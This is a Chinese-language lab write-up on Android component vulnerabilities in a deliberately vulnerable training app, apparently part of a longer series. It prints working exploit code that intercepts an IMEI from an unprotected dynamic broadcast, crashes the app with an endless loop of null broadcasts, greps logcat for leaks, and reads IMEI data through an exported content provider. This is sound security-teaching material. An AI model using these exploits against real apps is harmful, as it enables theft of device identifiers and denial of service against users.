5. 动态注册广播

漏洞利用的目的：

当前组件发送一个动态广播，对此实现获取个人数据、使组件崩溃和日志泄露。

漏洞利用过程：

根据反编译可以看出，组件发送广播和接收广播的过程，其中传递的私有数据为“imei”，action为“broadcast”。

private void initView() {
    this.b1 = (Button)findViewById(2131165238);
    this.b1.setOnClickListener(new View.OnClickListener() {
        public void onClick(View param1View) {
            String str = GetInformation.getImei((Context)DynamicBroadcastActivity.this);
            Intent intent = new Intent("broadcast");
            intent.putExtra("imei", str);
            DynamicBroadcastActivity.this.sendBroadcast(intent);
        }
    });
    this.t1 = (TextView)findViewById(2131165380);
    this.t1.setOnClickListener(new View.OnClickListener() {
        public void onClick(View param1View) {
            DynamicBroadcastActivity.this.t1.setText(2131427375);
        }
    });
}

public class MyBroadcast extends BroadcastReceiver {
    public void onReceive(Context param1Context, Intent param1Intent) {
        Toast.makeText((Context)DynamicBroadcastActivity.this, ", 0).show();
        Log.i("bughunter", param1Intent.getStringExtra("imei"));
    }
}

创建通过接收广播获取私有数据的函数并执行。

public class MyBroadcast extends BroadcastReceiver {
    @SuppressLint({"WrongConstant", "ShowToast"})
    public void onReceive(Context param1Context, Intent param1Intent) {
        Toast.makeText(MainActivity.this, "get it", 0).show();
        Log.i("bughunter", Objects.requireNonNull(param1Intent.getStringExtra("imei")));
    }
}
private void registBroad() {
    registerReceiver(new MyBroadcast(), new IntentFilter("broadcast"));
}
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    registBroad();
    //send_null();
}

点击bug hunter的发送广播按钮，即可收到私有数据“imei”码。

创建发送空数据广播的函数send_null如下。

private void send_null() {
    while(true){
        Intent intent = new Intent("broadcast");
        MainActivity.this.sendBroadcast(intent);
    }
}
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    //registBroad();
    send_null();
}

由于bug hunter一直保持接收广播的状态，一运行发送空广播的函数，即可看到bug hunter停止运行crash。

由于未注销广播可以导致intent泄露，反复打开当前界面，利用adb的logcat命令

adb logcat | grep -E *leak* > 2.txt

可以获取当前的含有leak的泄露日志，如下图所示。

6. Provider组件暴露

漏洞利用的目的：

获取当前组件写入暴露provider组件的个人数据。

漏洞利用过程：

根据反编译可以看出，provider处理的query操作。

public Cursor query(Uri paramUri, String[] paramArrayOfString1, String paramString1, String[] paramArrayOfString2, String paramString2) {
    SQLiteDatabase sQLiteDatabase = this.myDbHelper.getReadableDatabase();
    if (MATCHER.match(paramUri) == 1)
        return sQLiteDatabase.query("info", paramArrayOfString1, paramString1, paramArrayOfString2, null, null, paramString2); 
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append("Unkwon Uri:");
    stringBuilder.append(paramUri.toString());
    throw new IllegalArgumentException(stringBuilder.toString());
}

又根据反编译的代码获得URI和目录。

MATCHER.addURI("com.example.bughunter.ComponentSecurity.ExportProvider", "info", 1);

由此编写获取数据库个人数据的代码。

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        while(true){
            get_Imei();
        }
    }

    private void get_Imei() {
        ContentResolver contentResolver = getContentResolver();
        Cursor cursor = contentResolver.query(Uri.parse("content://com.example.bughunter.ComponentSecurity.ExportProvider/info"),
                                              new String[]{"imei"}, null, null, null);
        if (cursor != null) {
            while(cursor.moveToNext()){
                String a = cursor.getString(0);
                System.out.println("imei="+a);
            }
        }
    }
}

运行代码，即可在系统输出中看到“imei”。

7. 附加知识

• 查询手机imei码的方法，拨号输入*#06#，即可看到本机imei码。